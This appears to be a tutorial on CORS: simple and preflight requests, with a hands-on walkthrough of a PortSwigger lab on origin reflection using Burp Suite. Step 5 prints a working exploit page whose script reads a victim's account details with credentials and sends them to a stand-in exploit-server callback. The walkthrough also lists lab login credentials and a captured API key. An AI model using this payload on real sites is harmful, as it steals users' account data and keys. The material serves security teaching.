Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls how a web application running on one origin (domain, protocol, or port) can request resources from a different origin. By default, browsers block such cross-origin requests to prevent unauthorized access to sensitive data. CORS provides a controlled way to enable intentional sharing of resources with trusted third-party domains through specific HTTP headers.
function httpGetAction(urlLink) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", urlLink, false);
xmlHttp.send();
return xmlHttp.responseText;
}
It creates a new XMLHttpRequest object.
- Opens a GET request to the given URL.
- The
falsemeans synchronous request: The browser will freeze/lock until the response comes back. - Sends the request.
- Returns the response text.
This JavaScript function makes an HTTP GET request to the provided URL (urlLink) and returns the response text from the resource. However, when the request targets a different domain (a cross-origin request), the browser blocks it by default for security reasons. In such cases, you’ll see an error like:
Failed to loadhttps://write.geeksforgeeks.org/: No 'Access-Control-Allow-Origin' header is present on the requested resource. Originhttps://www.google.com/is therefore not allowed access.
How CORS Works
Given below the step by step working of CORS:

1: Simple requests
These are basic requests such as GET, HEAD, or POST with content types like text/plain, application/x-www-form-urlencoded, or multipart/form-data.
- Your page runs code like:
fetch("https://api.example.com/data")- The browser sends the request directly to
api.example.com. - The server responds. If the response includes the header:
Access-Control-Allow-Origin: https://your-site.com- Then the browser allows your JavaScript to read the response.
- If the header is missing or does not match your site, the browser blocks access and shows an error in DevTools.
Example (client):
fetch("https://api.example.com/data")
.then(r => r.text())
.then(console.log)
.catch(console.error);
Server must return:
Access-Control-Allow-Origin: https://your-site.com2: Preflight (Options)
When the browser detects a non-simple request (e.g., using PUT or DELETE, custom headers like X-Auth-Token, or Content-Type: application/json), it first checks with the server before sending the actual request.
- Your page attempts a non-simple request, for example:
fetch("https://api.example.com/data", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ key: "value" })
});
- Browser sends an
OPTIONSrequest (the preflight) to the server with these headers:Origin,Access-Control-Request-Method,Access-Control-Request-Headers. - The server responds with the CORS policy, e.g.:
Access-Control-Allow-Origin: https://your-site.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, X-Auth-Token
- If the preflight response allows the request, the browser sends the real request. If not, the browser blocks it.
Preflight request:
OPTIONS /api/user HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-Auth-Token, Content-Type
Preflight response:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: X-Auth-Token, Content-Type
Access-Control-Max-Age: 86400
3: Preflighted requests
Common triggers that make the browser preflight:
- Using methods other than
GET,HEAD,POST(e.g.,PUT,DELETE). - Sending custom headers like
X-Requested-WithorX-Auth-Token. Content-Type: application/json(this is not a “simple” content type).
Example that triggers a preflight:
fetch("https://www.geeksforgeeks.org//user", {
method: "POST",
credentials: "include", // sends cookies
headers: {
"Content-Type": "application/json", // triggers preflight
"X-Auth-Token": "abc123" // custom header
},
body: JSON.stringify({ name: "ABC" })
});
When you run this, check DevTools and Network: you will see an OPTIONS request first, then the POST only if the server allowed it.
5. Hands-On of CORS
Here’s a hands-on example to observe a CORS failure, apply a fix, and understand how preflight requests and credentials behave.
Step 1: Power on Burp Suite & Log in to PortSwigger Labs
- Open Burp Suite Community/Professional on your system.

- Go to your browser and log in to PortSwigger Academy or Use the following link to launch the PortSwigger lab: CORS vulnerability with basic origin reflection

Launch the lab:
- Navigate to CORS then go to CORS vulnerability with basic origin reflection.

Click “Access the lab”.
- This will give you a unique lab URL like:
https://0a6400f503a4533b80608ae7008d00ad.web-security-academy.net/You will also see an Exploit Server link provided by PortSwigger (used later for hosting your attack).
Step 2: Set Up Your Browser with Burp
- In Burp, go to Proxy and toggle Intercept to On.

- Open the lab in your browser: log in using the credentials provided:
Username: weiner
Password: peter
Step 3: Identify the Sensitive Request
- Browse to My Account in the lab.

- In Burp, check HTTP history.
- Look for a request to:
Request GET https://0a450001032b2b3b8097536e00a700d6.web-security-academy.net
- This request returns login page (username, password)

- login with the user name and password as the given
username: weiner
password: peter
- This request returns sensitive information (username, email, API key).

Step 4: Test the Origin Reflection
- Send the
/accountDetailsrequest to Burp Repeater.

- Add a fake
Originheader:origin: http://xyz.com
- Send the request.
- Check the response:
Access-Control-Allow-Origin: https://xyz.com
Access-Control-Allow-Credentials: true

- This confirms the site reflects the
Origin,it is vulnerable.
Step 5: Craft the Exploit
- Go to your Exploit Server (link is shown in the lab).

- Add the following payload to the Body of your exploit page:
<!doctype html>
<html>
<body>
<h3>Exploit</h3>
<script>
var target = 'https://TARGET_DOMAIN/accountDetails';
var callback = 'https://EXPLOIT_DOMAIN/log?data=';
var req = new XMLHttpRequest();
req.open('GET', target, true); // absolute URL -> fetches from the lab host
req.withCredentials = true; // important: sends victim cookies
req.onload = function () {
var encoded = encodeURIComponent(this.responseText);
location = callback + encoded;
};
req.onerror = function() {
// fallback: notify exploit server of failure
location = callback + encodeURIComponent('ERROR: request-failed');
};
req.send();
</script>
</body>
</html> - Replace
YOUR-LAB-IDwith your lab’s unique ID (target site). - Replace
YOUR-EXPLOIT-SERVERwith your exploit server URL.
Step 6: Deliver the Exploit
- Click Store on the exploit server to save the payload.
- Use View exploit to test it.
- It should redirect and log sensitive data (like API key).
- Once confirmed, click Deliver to victim.
- Open Access Log on the exploit server you should see the admin’s API key.

Step 7: Submit the Key
- Copy the stolen API key.
VcqkZNOoCMrByIV4ytZ9MY4vSdRTKHvL- Paste it into the lab’s answer box.

- Lab Solved

Key Components
- Headers: Small pieces of info sent with requests/responses. CORS uses response headers (like
Access-Control-Allow-Origin,Access-Control-Allow-Methods,Access-Control-Allow-Headers,Access-Control-Allow-Credentials) so the browser knows whether a cross-origin response can be read. - Preflight (OPTIONS): A quick permission check the browser sends automatically before a “complex” request (e.g.,
PUT,DELETE, custom headers, orContent-Type: application/json). The server must reply withAccess-Control-Allow-*headers to allow the real request. - Credentials: Cookies or auth data sent with a request. To allow them cross-origin the client must send
credentials: 'include'(orxhr.withCredentials = true) and the server must returnAccess-Control-Allow-Credentials: trueand a specificAccess-Control-Allow-Origin(not*).